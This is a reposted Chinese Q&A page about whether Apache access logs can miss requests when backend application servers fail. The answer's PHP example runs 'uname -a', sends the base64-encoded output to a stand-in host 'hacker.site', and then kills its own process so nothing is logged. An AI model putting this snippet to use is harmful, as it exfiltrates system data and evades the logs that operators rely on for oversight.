当前位置:首页 > 服务器技术 > apache

java – Apache Access日志是否曾经错过请求?

我的工作场所在各种Java应用服务器的前面都有Apache.我经常需要调查生产问题并依赖那些记录对应用程序服务器的所有请求的Apache Access日志,无论它们是成功的(200),重定向(302),错误(500)还是其他一些状态.

但是,有几次,通常当应用程序服务器没有响应并需要重新启动时,看起来好像某些请求尚未记录.

我尝试在本地重现这个(启动一个长时间运行的请求,并允许请求超过Apache服务器上的超时或者只是从命令行中删除应用程序服务器)但我总是在访问日志中记录请求.

我的问题是,假设Apache运行良好但面临应用程序服务器问题,Apache访问日志是否会错过请求?

解决方法:

在某些情况下它可能会错过请求,docs包含重要的句子:

The server access log records all requests processed by the server.

因此,如果未处理请求,那么我们不应期望在access_log中输入.如果你想知道这种情况是否可以轻易复制,那么我找到了一种方法.

考虑以下PHP代码(test.php):

<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());

此外,您还必须使用prefork MPM和mod_php模块运行Apache.然后使用浏览器或telnet发出请求:

$telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0

Connection closed by foreign host.

如您所见,连接已关闭,没有任何响应.尽管代码已执行且攻击者收到命令uname -a的编码结果,但access_log和error_log中都没有日志.


【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:254677821)!